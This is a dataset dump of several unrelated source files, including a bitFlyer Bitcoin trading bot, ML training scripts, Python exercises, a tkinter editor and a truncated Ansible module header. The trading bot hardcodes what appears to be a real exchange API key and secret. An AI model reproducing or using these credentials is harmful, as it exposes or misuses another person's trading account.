+{"seq_id":"571285132","text":"# -*- coding: utf-8 -*-\nimport pybitflyer\nimport threading\nfrom collections import deque\nimport sys\nimport time\n\n# 导入用户库:\nsys.path.append(\"..\")\nfrom bitcoin.signal_generation import *\n\n\napi = pybitflyer.API(api_key=\"362q3qHwsQaAaY3cgdvaJM\", api_secret=\"Wpd9GQ3W4jCOc18IxFjFngxNWr2zxxoz8z8m9LcvKx8=\")\nprofit=200\nsize=0.001\nposition_max=0.01\nthreshold = 70\nreserved_profit = 20\n\n\ndef getboard(board):\n board['data']=api.board(product_code=\"FX_BTC_JPY\")\n\n\ndef getexcutions(excutions):\n excutions['data']=api.executions(product_code=\"FX_BTC_JPY\",count=20)\n\n\ndef get_position(position):\n get_position=api.getpositions(product_code=\"FX_BTC_JPY\")\n position['data']=0\n if len(get_position) > 0:\n for position_dict in get_position:\n if position_dict['side']==\"SELL\":\n position['data'] += -position_dict['size']\n elif position_dict['side']==\"BUY\":\n position['data'] += position_dict['size']\n\n\ndef parent_buy(size,price,profit):\n parentorder_id=api.sendparentorder(order_method=\"IFD\",minute_to_expire='1', time_in_force=\"GTC\",\n parameters=[{\"product_code\":\"FX_BTC_JPY\",\"condition_type\":\"LIMIT\",\"side\":\"BUY\",\"price\":price,\"size\":size}\n ,{\"product_code\":\"FX_BTC_JPY\",\"condition_type\":\"LIMIT\",\"side\":\"SELL\",\"price\":price+profit,\"size\":size}])\n return parentorder_id\n\n\ndef parent_sell(size,price,profit):\n parentorder_id=api.sendparentorder(order_method=\"IFD\",minute_to_expire='1', time_in_force=\"GTC\",\n parameters=[{\"product_code\":\"FX_BTC_JPY\",\"condition_type\":\"LIMIT\",\"side\":\"SELL\",\"price\":price,\"size\":size}\n ,{\"product_code\":\"FX_BTC_JPY\",\"condition_type\":\"LIMIT\",\"side\":\"BUY\",\"price\":price-profit,\"size\":size}])\n return parentorder_id\n\n\ndef order():\n while True:\n try:\n status=api.getboardstate()\n if (status['health']=='NORMAL' or status['health']=='BUSY') and (status['state']=='RUNNING'):\n # time1=time.clock()\n board = {}\n executions = {}\n position = {}\n threads = []\n t1 = threading.Thread(target=getboard,args=(board,))\n t2 = threading.Thread(target=getexcutions,args=(executions,))\n t3 = threading.Thread(target=get_position,args=(position,))\n threads.append(t1)\n threads.append(t2)\n threads.append(t3)\n for t in threads:\n t.start()\n for t in threads:\n t.join()\n ask=board['data']['asks'][0]['price']\n bid=board['data']['bids'][0]['price']\n position_now=position['data']\n executions_data = executions['data']\n vwap = get_vwap_price(executions_data)\n middle_price_list.append(board['data']['mid_price'])\n if vwap != 0:\n vwap_list.append(vwap)\n else:\n vwap_list.append(vwap_list[-1])\n # time2=time.clock()\n # time_board.append(time2-time1)\n # time3=time.clock()\n if len(middle_price_list) == 5 and len(vwap_list) == 5:\n signal = signal_generation(board, middle_price_list, vwap_list, executions_data)\n bid_ask_spread = ask - bid\n over_price = signal / 4\n if (signal > threshold) and (position_now-position_max):\n parent_sell(size=size,price=ask - over_price ,profit=signal - reserved_profit)\n print('sell')\n# else:\n# print(signal)\n else:\n print(len(middle_price_list))\n # time4=time.clock()\n # time_order.append(time4-time3)\n else:\n print(status['health'])\n except:\n print('net error')\n time.sleep(0.1)\n \n \ndef cancel():\n while True:\n try:\n api.cancelallchildorders(product_code=\"FX_BTC_JPY\")\n print('cancel')\n except:\n print('no order')\n time.sleep(4)\n\nmiddle_price_list = deque(maxlen=5)\nvwap_list = deque(maxlen=5)\n#time_board=[]\n#time_order=[]\n#time_all=[]\ntry:\n threadss=[]\n tt1 = threading.Thread(target=order)\n tt2 = threading.Thread(target=cancel)\n threadss.append(tt1)\n threadss.append(tt2)\n for t in threadss:\n t.start()\nexcept:\n print('net error')\n\n\n","sub_path":"project/bitcoin/order_child.py","file_name":"order_child.py","file_ext":"py","file_size_in_byte":5036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"72817254","text":"# imports\nimport numpy as np\nimport mdtraj as md\nfrom molecular_mpns.data import AlanineDipeptideGraph, bond_adjacency_matrix\nfrom molecular_mpns.training_utils import train_test_split\nfrom molecular_mpns.graphvae import GraphVAE, VAEloss\nfrom molecular_mpns.math import radius_of_gyration\nfrom torch_geometric.data import DataLoader\nimport torch\nimport matplotlib.pyplot as plt\nimport os\n\n\n# load training data\ndata_dir = '/afs/crc.nd.edu/user/c/coballe/graphvaes/data/'\npeptide_file = 'dataset_500.txt'\npdb_file = 'ala2_adopted.pdb'\n\nxyz = np.loadtxt(data_dir + peptide_file).T\ntopology = md.load(data_dir + pdb_file).topology\n\ntraj_xyz = xyz.reshape((xyz.shape[0],22,3))\ntraj = md.Trajectory(xyz = traj_xyz, topology = topology)\n\n# create graphs\nz = [atom.element.atomic_number for atom in traj.topology.atoms]\nadjacency = bond_adjacency_matrix(traj.topology)\nG = [AlanineDipeptideGraph(z = torch.tensor(z).long(),pos = torch.tensor(xyz), edge_index = adjacency) for xyz in traj.xyz]\n\n# build model\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nparams = {'x_dim': 3, 'enc_hidden_channels': 128, 'z_dim': 32, 'num_enc_hidden_layers': 4,\n 'dec_hidden_channels': 128, 'num_dec_hidden_layers': 4, 'adjacency': adjacency, 'output_dists': False,\n 'enc_act': torch.nn.functional.selu, 'dec_act': torch.tanh}\nmod = GraphVAE(**params)\nmod = mod.to(device)\nopt = torch.optim.Adam(mod.parameters(), lr = 1e-3, weight_decay = 1e-4)\n\n# train model\nfig_dir = '/afs/crc.nd.edu/user/c/coballe/graphvaes/figs/tuning_architectures/01/'\nmodel_dir = '/afs/crc.nd.edu/user/c/coballe/graphvaes/models/tuning_architectures/'\nos.chdir(fig_dir)\n\nepochs, batch_size, cutoff, n_atoms = 2000, 64, 0.5, 22\nsubset_size, train_prop = 500, 1.0\ntrain, test = train_test_split(data = G,subset_size = subset_size, train_prop = train_prop)\n\ntrain_xyz = np.array([G.pos.cpu().numpy() for G in train])\ntrain_traj = md.Trajectory(xyz = train_xyz, topology = traj.topology)\n\npsi_inds = [6, 8, 14, 16]\nphi_inds = [4, 6, 8, 14]\ntr_dangles = md.compute_dihedrals(train_traj,[psi_inds,phi_inds])\ntr_rogs = [radius_of_gyration(xyz, topology = topology) for xyz in train_xyz]\n\nrunning_loss, running_kld_loss, running_mse_loss, running_logvar_loss = [], [], [], []\n\nfor ep in range(epochs):\n kl_weight = ep / epochs\n ep_loss = 0\n ep_kld_loss = 0\n ep_mse_loss = 0\n ep_logvar_loss = 0\n \n # shuffle training set\n np.random.seed(42)\n random_idx = np.random.choice(len(train),len(train), replace = False)\n G_epoch = [train[i] for i in random_idx]\n loader = DataLoader(G_epoch,batch_size = batch_size)\n \n for G_batch in loader:\n \n # forward pass\n G_batch = G_batch.to(device)\n mu_z, logvar_z, mu_x, logvar_x = mod(x = G_batch.pos, edge_index = G_batch.edge_index, batch = G_batch.batch)\n \n data = G_batch.pos.view(mu_z.shape[0],params['x_dim']*n_atoms)\n loss, kld_loss, mse_loss, logvar_loss = VAEloss(data, mu_x, logvar_x, mu_z, logvar_z, kl_weight = kl_weight)\n \n # backward pass\n loss.backward()\n opt.step()\n opt.zero_grad()\n \n # accumulate losses\n ep_loss += loss.item()\n ep_kld_loss += kld_loss.item()\n ep_mse_loss += mse_loss.item()\n ep_logvar_loss += logvar_loss.item()\n \n # training diagnostics\n print('Epoch ' + str(ep+1) + ' Loss: ' + str(ep_loss))\n running_loss.append(ep_loss)\n running_kld_loss.append(ep_kld_loss)\n running_mse_loss.append(ep_mse_loss)\n running_logvar_loss.append(ep_logvar_loss)\n \n # dihedral plots\n \n if (ep + 1) % 100 == 0:\n T = 10000\n traj_ancestral = mod.ancestral_sample(T)\n traj_means = mod.sample_decoder_means(T)\n \n traj_ancestral = traj_ancestral.reshape((T,n_atoms, params['x_dim']))\n traj_means = traj_means.reshape((T,n_atoms, params['x_dim']))\n \n dangles_ancestral = md.compute_dihedrals(md.Trajectory(traj_ancestral,topology = traj.topology),[psi_inds,phi_inds])\n dangles_means = md.compute_dihedrals(md.Trajectory(traj_means, topology = traj.topology), [psi_inds,phi_inds])\n \n rng = [[-np.pi,np.pi],[-np.pi, np.pi]]\n bins = 40\n fig, ax = plt.subplots(1, 3, sharex = True, sharey = True)\n \n plt_name = 'dangles' + str(ep+1) + '.png'\n ax[0].hist2d(tr_dangles[:,1], tr_dangles[:,0], bins = bins, range = rng)\n ax[0].set_xlabel('$\\phi$ / rad')\n ax[0].set_ylabel('$\\psi$ / rad')\n ax[0].set_title('Training')\n ax[0].set_aspect('equal')\n \n ax[1].hist2d(dangles_means[:,1], dangles_means[:,0], bins = bins, range = rng)\n ax[1].set_title('MLE')\n ax[1].set_aspect('equal')\n \n ax[2].hist2d(dangles_ancestral[:,1], dangles_ancestral[:,0], bins = bins, range = rng)\n ax[2].set_title('Ancestral')\n ax[2].set_aspect('equal')\n \n \n plt.savefig(plt_name)\n plt.show()\n plt.close()\n \n # rog plot\n \n rog_T = subset_size\n traj_ancestral = mod.ancestral_sample(T)\n traj_means = mod.sample_decoder_means(T)\n \n traj_ancestral = traj_ancestral.reshape((T,n_atoms, params['x_dim']))\n traj_means = traj_means.reshape((T,n_atoms, params['x_dim']))\n \n rog_ancestral = [radius_of_gyration(xyz, topology = topology) for xyz in traj_means]\n rog_means = [radius_of_gyration(xyz, topology = topology) for xyz in traj_ancestral]\n \n plt.hist(tr_rogs, density = True, histtype = 'step', label = \"Training\")\n plt.hist(rog_ancestral, density = True, histtype = 'step', label = \"Ancestral\")\n plt.hist(rog_means, density = True, histtype = 'step', label = \"MLE\")\n plt.legend()\n \n plt_name = 'rogs' + str(ep+1) + '.png'\n plt.savefig(plt_name)\n plt.show()\n plt.close()\n\n \n\n\nplt_name = 'loss.png' \nplt.plot(running_loss, label = 'Total Loss')\nplt.plot(running_kld_loss, label = 'KLD Loss')\nplt.plot(running_mse_loss, label = 'Recon Loss')\nplt.plot(running_logvar_loss, label = 'Log Var Loss')\nplt.legend()\nplt.xlabel('Epoch')\nplt.savefig(plt_name)\nplt.show()\nplt.close()\n\nos.chdir(model_dir)\ntorch.save(mod.state_dict(), 'mod_128_32_selu_tanh.pth')\n\n","sub_path":"scripts/tuning01_train_graphvae.py","file_name":"tuning01_train_graphvae.py","file_ext":"py","file_size_in_byte":6318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"36722427","text":"from __future__ import unicode_literals\n\nimport markdown\nfrom django import template\nfrom django.utils.safestring import mark_safe\nfrom djblets.markdown import markdown_unescape\n\n\nregister = template.Library()\n\n\n@register.filter\ndef markdown_email_html(text, is_rich_text):\n if not is_rich_text:\n return text\n\n marked = markdown.markdown(\n text,\n extensions=[\n 'fenced_code', 'codehilite(noclasses=True)', 'tables',\n 'djblets.markdown.extensions.wysiwyg_email',\n ],\n output_format='xhtml1',\n safe_mode='escape')\n\n return mark_safe(marked)\n\n\n@register.filter\ndef markdown_email_text(text, is_rich_text):\n if not is_rich_text:\n return text\n\n return markdown_unescape(text)\n","sub_path":"reviewboard/notifications/templatetags/markdown_email.py","file_name":"markdown_email.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"490809860","text":"import keras\nimport keras.layers as kl\nfrom keras.layers import *\nfrom keras.models import Model\nimport time\n\n\nclass DeepQLearner:\n def __init__(self, args, agent_mode, data_format):\n\n print('Initializing the DQN...')\n self.word_dim = args.word_dim #50 word2vec\n self.tag_dim = args.tag_dim #repeat representation of RL action\n self.dropout = args.dropout #0.5\n self.optimizer = args.optimizer #adam\n self.dense_dim = args.dense_dim #256\n self.batch_size = args.batch_size #32\n self.gamma = args.gamma #discount rate\n self.learning_rate = args.learning_rate #0.001\n self.num_actions = args.num_actions #2\n self.num_filters = args.num_filters #32\n self.data_format = data_format #channels_last\n if agent_mode == 'act':\n self.num_words = args.num_words #500\n self.emb_dim = args.word_dim + args.tag_dim #Embedding dim = 100\n self.NAME = \"action_DQN-{}\".format(int(time.time()))\n elif agent_mode == 'arg':\n self.num_words = args.context_len #100\n self.emb_dim = args.word_dim + args.dis_dim + args.tag_dim #Embedding dim = 150\n\n # filter_width = self.emb_dim - 1 # filter width = 99 or 149 Why??\n filter_width = self.emb_dim\n n_filters = self.num_filters # filter num = 32\n\n input = Input(shape=(None, self.num_words, self.emb_dim, 1)) #declared number of time steps to be 32.\n bi_gram = TimeDistributed(Conv2D(n_filters, (2, filter_width), activation='relu', kernel_initializer='glorot_normal'))(input) #xavier_normal initializer = draws sample from truncated normal distribution centered on 0 with std dev\n bi_gram = TimeDistributed(MaxPooling2D((self.num_words - 1, 1), strides=(1, 1), padding='valid'))(bi_gram)\n\n tri_gram = TimeDistributed(Conv2D(n_filters, (3, filter_width), activation='relu', kernel_initializer='glorot_normal'))(input)\n tri_gram = TimeDistributed(MaxPooling2D((self.num_words - 2, 1), strides=(1, 1), padding='valid'))(tri_gram)\n\n four_gram = TimeDistributed(Conv2D(n_filters, (4, filter_width), activation='relu', kernel_initializer='glorot_normal'))(input)\n four_gram = TimeDistributed(MaxPooling2D((self.num_words - 3, 1), strides=(1, 1), padding='valid'))(four_gram)\n\n five_gram = TimeDistributed(Conv2D(n_filters, (5, filter_width), activation='relu', kernel_initializer='glorot_normal'))(input)\n five_gram = TimeDistributed(MaxPooling2D((self.num_words - 4, 1), strides=(1, 1), padding='valid'))(five_gram)\n\n # concatenate and flatten\n flat = TimeDistributed(Flatten())(kl.concatenate([bi_gram, tri_gram, four_gram, five_gram], axis=2))\n\n lstm1 = LSTM(256, return_sequences=True)(flat) # removed stateful = True\n lstm2 = LSTM(32)(lstm1)\n\n fc = Dense(self.dense_dim, activation='relu', kernel_initializer='truncated_normal')(lstm2) # values more than two standard deviations from the mean are discarded and redrawn.\n output = Dense(self.num_actions, kernel_initializer='truncated_normal')(fc)\n\n self.model = Model(input, output)\n self.target_model = Model(input, output)\n\n #compile the model\n opt = keras.optimizers.Adam(lr=self.learning_rate, beta_1=0.9, beta_2=0.999, epsilon=1e-08)\n\n\n self.model.compile(optimizer=opt, loss='mse')\n self.target_model.compile(optimizer=opt, loss='mse')\n print(self.model.summary())\n\n def update_target_network(self):\n self.target_model.set_weights(self.model.get_weights())\n\n def train(self, minibatch):\n # expand components of minibatchls\n\n prestates, actions, rewards, poststates, terminals = minibatch\n pre_tags = prestates[:, :, -1].astype('int32').reshape(32, self.num_words,1)\n repeat_pre_tags = np.repeat(pre_tags, 50, axis=-1)\n prestates = np.concatenate([prestates[:,:,:-1], repeat_pre_tags], axis=2)\n\n post_tags = poststates[:, :, -1].astype('int32').reshape(32, self.num_words, 1)\n repeat_post_tags = np.repeat(post_tags, 50, axis=-1)\n poststates = np.concatenate([poststates[:, :, :-1], repeat_post_tags], axis = 2)\n\n #channels_last\n post_input = poststates[ :, np.newaxis, :, :, np.newaxis] # np.reshape(poststates, [-1, self.num_words, self.emb_dim, 1])\n pre_input = prestates[ :, np.newaxis, :, :, np.newaxis] # np.reshape(prestates, [-1, self.num_words, self.emb_dim, 1])\n\n postq = self.target_model.predict_on_batch(post_input)\n targets = self.model.predict(pre_input)\n # calculate max Q-value for each poststate\n maxpostq = np.max(postq, axis=1)\n\n # update Q-value targets for actions taken\n for i, action in enumerate(actions):\n if terminals[i]:\n targets[i, action] = float(rewards[i])\n else:\n targets[i, action] = float(rewards[i]) + self.gamma * maxpostq[i]\n\n return self.model.train_on_batch(pre_input, targets)\n\n def predict(self, current_state):\n word_vec = current_state[:, :-1]\n tags = current_state[:, -1].astype('int32').reshape(self.num_words, 1)\n tags = np.repeat(tags, 50, axis=-1)\n\n expand_state = np.concatenate([word_vec, tags], axis=1)\n if self.data_format == 'channels_last':\n current_state = expand_state[np.newaxis, np.newaxis, :, :, np.newaxis]\n else:\n current_state = expand_state[np.newaxis, np.newaxis, np.newaxis, :, :]\n qvalues = self.model.predict(current_state)\n return qvalues\n\n def save_weights(self, weight_dir):\n self.model.save_weights(weight_dir)\n print('Saved weights to %s ...' % weight_dir)\n\n def load_weights(self, weight_dir):\n self.model.load_weights(weight_dir)\n print('Loaded weights from %s ...' % weight_dir)\n","sub_path":"KerasLSTMDQN.py","file_name":"KerasLSTMDQN.py","file_ext":"py","file_size_in_byte":5876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"648224970","text":"\"\"\"Write a Python program to remove duplicates from a list.\"\"\"\n\na = [10,20,30,20,10,50,60,40,80,50,40]\n\nduplicated = set() # set zapewnia że w nim nie będzie duplikatów\nuniq_items = []\nfor x in a:\n if x not in duplicated:\n uniq_items.append(x)\n duplicated.add(x)\n\nprint(uniq_items)\nprint('duplikaty:', duplicated)","sub_path":"LIST/7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"367818294","text":"from random import randint\n\n\ndef sorteia(lista):\n for n in range(0, 5):\n n = randint(1, 10)\n lista.append(n)\n print(f'In the list, were sorted 5 values, being: {lista}')\n\n\ndef soma_par(lista):\n soma = 0\n for num in lista:\n if num % 2 == 0:\n soma += num\n print(f'Somando os valores pares de {lista}, temos {soma}')\n\n\nnumeros = list()\nsorteia(numeros)\nsoma_par(numeros)\n","sub_path":"Projetos Python/Aulas Python/Aula 20/Desafio 100.py","file_name":"Desafio 100.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"308555652","text":"import tkinter as tk\nimport tkinter.font as tkFont\n\nroot = tk.Tk()\n\ncheckbox_var_italic = tk.IntVar()\ncheckbox_var_bold = tk.IntVar()\nradiobutton_var_arial = tk.IntVar()\nradiobutton_var_times = tk.IntVar()\n\n\nframe_one = tk.Frame(root, pady=10, padx=5)\nframe_one.grid(column=0, row=0)\n\nframe_two = tk.Frame(root, pady=1)\nframe_two.grid(column=0, row=1)\n\nfont_main = tkFont.Font(font=\"Courier\")\nfont_italic = tkFont.Font(slant=tkFont.ITALIC)\nfont_bold = tkFont.Font(weight=tkFont.BOLD)\n\ndef make_text_red():\n text_field.configure(fg='red')\n\ndef make_text_blue():\n text_field.configure(fg='blue')\n\ndef make_text_green():\n text_field.configure(fg='green')\n\ndef reset_all():\n text_field.configure(fg='black', font=font_main)\n radiobutton_arial.configure(variable=tk.IntVar())\n radiobutton_times.configure(variable=tk.IntVar())\n check_button_italic.deselect()\n check_button_bold.deselect()\n\ndef make_text_arial():\n text_field.configure(font='Arial')\n\ndef make_text_times():\n text_field.configure(font='Times')\n\ndef make_text_italic():\n text_field.configure(font=font_italic)\n\ndef make_text_bold():\n text_field.configure(font=font_bold)\n\ntext_field = tk.Text(frame_one, width=15, height=1, font=font_main)\ntext_field.grid(row=0)\n\nbutton_red = tk.Button(frame_two, anchor=tk.CENTER, width=10, text='RED', command=make_text_red)\nbutton_red.grid(column=0, row=1)\n\nbutton_blue = tk.Button(frame_two, anchor=tk.CENTER, width=10, text='BLUE',command=make_text_blue)\nbutton_blue.grid(column=0, row=2)\n\nbutton_green = tk.Button(frame_two, anchor=tk.CENTER, width=10, text='GREEN', command=make_text_green)\nbutton_green.grid(column=1, row=1)\n\nbutton_reset = tk.Button(frame_two, anchor=tk.CENTER, width=10, text='RESET', fg='red', command=reset_all)\nbutton_reset.grid(column=1, row=2)\n\ncheck_button_italic = tk.Checkbutton(frame_two, text=\"italic\", variable=checkbox_var_italic, command=make_text_italic)\ncheck_button_italic.grid(column=0, row=3)\n\ncheck_button_bold = tk.Checkbutton(frame_two, text=\"bold\", variable=checkbox_var_bold, command=make_text_bold)\ncheck_button_bold.grid(column=0, row=4)\n\nradiobutton_arial = tk.Radiobutton(frame_two, text='font 1', anchor=tk.W, value=1, variable=radiobutton_var_arial, command=make_text_arial)\nradiobutton_arial.grid(column=1, row=3)\n\nradiobutton_times = tk.Radiobutton(frame_two, text='font 2', anchor=tk.W, value=2, variable=radiobutton_var_times, command=make_text_times)\nradiobutton_times.grid(column=1, row=4)\n\n\nroot.mainloop()\n","sub_path":"text_editor.py","file_name":"text_editor.py","file_ext":"py","file_size_in_byte":2499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"35013083","text":"from django.contrib import admin\nfrom django.contrib.auth import get_user_model\n\n# Register your models here.\nUser = get_user_model()\n\n\nclass UserAdmin(admin.ModelAdmin):\n search_fields = ['full_name', 'phoneNumber']\n list_display = ('full_name', 'phoneNumber', 'staff', 'admin')\n\n class Meta:\n model = User\n\n\nadmin.site.register(User, UserAdmin)\n","sub_path":"users/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"207511426","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib import animation\nimport matplotlib.cm as cm\n\n\n\nclass Eased:\n \"\"\" This class takes the original time vector and raw data (as a m*n matrix) along with an output vector and interpolation function\n For the input data, the rows are the different variables and the columns correspond to the time points\"\"\"\n\n def __init__(self, data, in_t, out_t):\n self.int_t = in_t\n self.out_t = out_t\n self.n_steps = np.ceil(len(out_t) / len(in_t))\n self.data = data\n self.n_dims = len(np.shape(data))\n\n\n\n def No_interp(self):\n #This Function maps the input vecotor over the outuput time vector without interoplation\n if self.n_dims == 1: # if the input is only one row\n self.eased = np.zeros((len(self.out_t), 1))\n for i, t in enumerate(self.out_t):\n self.eased[i] = self.data[int(np.floor(i / self.n_steps))]\n else: #if the input is a multidimensional row\n self.eased = np.zeros((np.shape(self.data)[0], len(self.out_t)))\n for z in range(np.shape(self.data)[0]):\n for i, t in enumerate(self.out_t):\n self.eased[z, i] = self.data[z, int(np.floor(i / self.n_steps))]\n\n return self.eased\n\n def power_ease(self, n):\n sign = n % 2 * 2\n if self.n_dims == 1:\n self.eased = np.zeros((len(self.out_t), 1))\n j = 0\n for i in range(len(self.int_t) - 1):\n\n start = self.data[i]\n end = self.data[i + 1]\n for t in np.linspace(0, 2, self.n_steps):\n if (t < 1):\n val = (end - start) / 2 * t ** n + start\n\n else:\n t -= 2\n val = (1 - sign) * (-(end - start) / 2) * (t ** n - 2 * (1 - sign)) + start\n\n self.eased[j] = val\n j += 1\n self.eased[j:] = self.data[i + 1]\n\n else:\n self.eased = np.zeros((np.shape(self.data)[0], len(self.out_t)))\n for z in range(np.shape(self.data)[0]):\n j = 0\n for i in range(len(self.int_t) - 1):\n\n start = self.data[z, i]\n end = self.data[z, i + 1]\n for t in np.linspace(0, 2, self.n_steps):\n if (t < 1):\n val = (end - start) / 2 * t ** n + start\n\n else:\n t -= 2\n val = (1 - sign) * (-(end - start) / 2) * (t ** n - 2 * (1 - sign)) + start\n\n self.eased[z, j] = val\n j += 1\n self.eased[z, j:] = self.data[z, i + 1]\n\n return self.eased\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n \"\"\" This main funciton runs an example animation comapring the different animation styles \"\"\"\n plt.close('all')\n colors = ['#a8e6cf', '#dcedc1', '#ffd3b6', '#ffaaa5', '#ff8b94']\n colors = cm.rainbow(np.linspace(0, 1, 10))\n\n fig_animate, ax = plt.subplots()\n fig_traces, ax0 = plt.subplots(figsize=(12,4))\n\n ax.set_xlim([-0.1,1.1])\n ax.set_ylim([-0.1,5])\n\n data=np.array([0,1,0,1,0,1,0,1,0,1])\n input_time_vector = np.arange(0, 10, 1)\n output_time_vector = np.linspace(0, 10, 2000)\n ease = Eased(data, input_time_vector, output_time_vector)\n labels=['No Interpolation']\n data_list = [ease.No_interp()]\n for r in range(9):\n data_list.append(ease.power_ease(r + 1))\n labels.append(str(r))\n for r in range(10):\n ax0.plot(output_time_vector[0:401],data_list[r][0:401],color=colors[r], linewidth=3, alpha=0.75,label=labels[r])\n ax0.legend(title='exponent')\n plt.axis('off')\n fig_traces.savefig('media/traces.png',dpi=300)\n dots = []\n for i, data in enumerate(data_list):\n dots.append(ax.plot([], [], linestyle='none', marker='h', markersize=30, color=colors[i]))\n\n\n\n def animate(z):\n for i in range(len(dots)):\n dots[i][0].set_data(data_list[i][z],.25+.5*i)\n\n\n return dots\n\n anim = animation.FuncAnimation(fig_animate, animate, frames=len(output_time_vector), blit=False)\n\n\n\n writer = animation.writers['ffmpeg'](fps=60)\n dpi=300\n anim.save('media/interp.mp4', writer=writer,dpi=dpi)\n","sub_path":"easing.py","file_name":"easing.py","file_ext":"py","file_size_in_byte":4366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"233766922","text":"'''\nNOTE: This question is actually horrible. Very poor wording and doesn't make sense. You are literally\naccessing the data of the next node. Really big stinky bad!\n\nImplement an algorithm to delete a node in the middle (i.e., any node but\nthe first and last node, not necessarily the exact middle) of a singly linked list, given only access to\nthat node.\n\nEXAMPLE\n input:the node c from the linked list a->b->c->d->e->f\n Result: nothing is returned, but the new linked list looks like a ->b->d->e->f\n\nANALYSIS:\n - Runtime Complexity: O(1)\n - The only node that we are touching is the current node and apparently the next node,\n even though the question says that we don't have access to any of the other nodes.\n - Space Complexity: O(1)\n - We have constant space. This is pretty much a script to be honest.\n - Best Case Runtime: O(1)\n - we made it as fast as possible and that's pretty lit.\n'''\nfrom LinkedList.LinkedList import LinkedList\n\ndef solver(input):\n if input == None:\n return False\n \n # just swap the value of the current node with the value of the next node\n next = input.next\n input.value = next.value\n input.next = next.next\n\n return True\n\nif __name__ == \"__main__\":\n values = [1,2,3,4,5,6,7,8,9]\n ll = LinkedList()\n ll2 = LinkedList()\n for x in values:\n ll.addToTail(x)\n if x != 5:\n ll2.addToTail(x)\n\n curr = ll.head\n while curr.value != 5:\n curr = curr.next\n \n # now that we have 5, pass that value into the function\n solver(curr)\n\n ll.printList()\n ll2.printList()\n\n","sub_path":"linked_lists/p3.py","file_name":"p3.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"456460607","text":"from setuptools import setup, find_packages\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\n\nsetup(\n name=\"ssmpy\",\n version=\"0.2.3\",\n description=\"Basic functions to start using semantic similarity measures directly from a rdf or owl file.\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n maintainer=\"Andre Lamurias\",\n maintainer_email=\"alamurias@lasige.di.fc.ul.pt\",\n packages=[\"ssmpy\"],\n keywords=[\"graphs\", \"semantic similarity\", \"ontologies\"],\n url=\"https://github.com/lasigeBioTM/DiShIn\",\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n package_data={\"ssmpy\": [\"data/*\"]},\n install_requires=[\"rdflib\"],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"61917951","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n#\n# (C) 2019 Red Hat Inc.\n# Copyright (C) 2019 Western Telematic Inc.\n#\n# GNU General Public License v3.0+\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)\n#\n# Module to upgeade the firmware on WTI OOB and PDU devices.\n# CPM remote_management\n#\nfrom __future__ import absolute_import, division, print_function\n__metaclass__ = type\n\nANSIBLE_METADATA = {\n 'metadata_version': '1.1',\n 'status': ['preview'],\n 'supported_by': 'community'\n}\n\nDOCUMENTATION = \"\"\"\n---\nmodule: cpm_firmware_update\nversion_added: \"2.9.0\"\nauthor: \"Western Telematic Inc. (@wtinetworkgear)\"\nshort_description: Set Serial port parameters in WTI OOB and PDU devices\ndescription:\n - \"Set Serial port parameters in WTI OOB and PDU devices\"\noptions:\n cpm_url:\n description:\n - This is the URL of the WTI device to send the module.\n required: true\n type: str\n cpm_username:\n description:\n - This is the Username of the WTI device to send the module.\n required: true\n type: str\n cpm_password:\n description:\n - This is the Password of the WTI device to send the module.\n required: true\n type: str\n cpm_path:\n description:\n - This is the directory path to store the WTI device configuration file.\n required: false\n type: str\n default: \"/tmp/\"\n cpm_file:\n description:\n - If a file is defined, this file will be used to update the WTI device.\n required: false\n type: str\n use_force:\n description:\n - If set to True, the upgrade will happen even if the device doesnt need it.\n required: false\n type: bool\n default: false\n use_https:\n description:\n - Designates to use an https connection or http connection.\n required: false\n type: bool\n default: true\n validate_certs:\n description:\n - If false, SSL certificates will not be validated. This should only be used\n - on personally controlled sites using self-signed certificates.\n required: false\n type: bool\n default: true\n use_proxy:\n description: Flag to control if the lookup will observe HTTP proxy environment variables when present.\n required: false\n type: bool\n default: false\n family:\n description:\n - Force the download to both either Console (1) or Power (0)\n required: false\n type: int\n default: 1\n choices: [ 0, 1 ]\n removefileonexit:\n description:\n - After an upgrade, remove the upgrade OS image\n required: false\n type: int\n default: 1\n choices: [ 0, 1 ]\n\nnotes:\n - Use C(groups/cpm) in C(module_defaults) to set common options used between CPM modules.\n\"\"\"\n\nEXAMPLES = \"\"\"\n# Upgrade the firmware of a WTI device\n- name: Upgrade the firmware of a WTI device\n cpm_firmware_update:\n cpm_url: \"nonexist.wti.com\"\n cpm_username: \"super\"\n cpm_password: \"super\"\n use_https: true\n validate_certs: false\n\n\n# 